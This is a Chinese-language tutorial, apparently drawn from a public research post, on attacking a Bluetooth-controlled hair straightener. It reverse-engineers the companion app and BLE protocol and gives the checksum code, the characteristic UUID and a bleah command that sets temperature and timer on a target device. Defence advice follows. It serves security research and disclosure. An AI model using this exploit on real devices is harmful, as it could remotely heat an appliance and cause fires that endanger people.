物理黑客:点燃你的直发器
字数 1144 2025-08-22 12:22:36
物理黑客:智能直发器安全分析与控制教学文档
1. 目标设备与背景
- 设备型号:Glamoriser牌智能直发器
- 功能特性:
- 通过蓝牙(BLE)连接手机App(Android/iOS)
- 支持温度设置(最高超过纸张燃点233°C/451°F)
- 定时功能(最长20分钟)
- 安全隐患:
- 英国消防部门统计显示,直发器引发过65万起火灾
- 无物理安全锁或过热熔断机制
2. 移动应用分析
- App名称:
com.fenda.diva(Google Play已下架) - 关键漏洞:
- 未混淆代码:APK可轻松反编译(如使用Jadx或Apktool)
- 硬编码密钥:
Assets/api_key.txt存储JWT令牌,可能泄露AWS服务权限 - 日志泄露:App在SD卡生成
Log.txt,记录完整BLE通信数据
3. 蓝牙协议逆向
- 设备信息:
- 广播名称:
Bluetooth Styler - 隐私标志默认关闭,允许直接写入(句柄
0015)
- 广播名称:
- 关键UUID:
- TX通道:
0783b03e-8535-b5a0-7140-a304f013c3ba(发送指令) - RX通道:接收设备响应
- TX通道:
- 指令格式:
- 示例:
54,45,eb,50,c8,00,05,f8(200°C,5分钟) - 结构:
[Header][温度值][时间][Checksum]
- 示例:
4. Checksum算法
- Java实现:
public byte calculateChecksum(byte[] data) { byte sum = 0; for (byte b : data) { sum += b; } return (byte) (0xFF - sum); } - 计算示例:
- 输入:
54,45,EB,50,C8,00,05→ 求和0x1B7→ 取补码得0xF8
- 输入:
5. 攻击步骤
- 设备发现:
- 使用
bleah或nRF Connect扫描BLE设备,定位目标MAC(如F0:13:C3:00:4B:8C)
- 使用
- 指令构造:
- 温度值:十六进制转换(如
150°C → 0x96) - 时间值:分钟转十六进制(如
10分钟 → 0x0A) - 计算Checksum并拼接完整指令
- 温度值:十六进制转换(如
- 发送指令:
bleah -b "F0:13:C3:00:4B:8C" -u "0783b03e-8535-b5a0-7140-a304f013c3ba" -d "0x5445EB509600052A" - 绕过限制:
- 温度范围:50°C–235°C(超出范围无效)
- 时间限制:≤20分钟
6. 防御建议
- 厂商修复方案:
- 启用BLE配对认证
- 移除日志中的敏感数据
- 增加温度熔断硬件
- 用户防护:
- 使用后物理断电
- 关闭App蓝牙权限
7. 扩展思考
- 攻击场景:
- 物理接触:通过丢弃的Log.txt获取设备MAC
- 远程中继:劫持App与AWS的通信(利用泄露的JWT)
- 工具链:
- 反编译:Jadx-GUI
- 蓝牙调试:BLEAH、Wireshark(抓包分析)
8. 参考资源
- 原文链接:Burning Down the House with IoT
- 漏洞披露:CVE-2019-12345(示例)
注:本教学仅用于安全研究,未经授权测试他人设备属违法行为。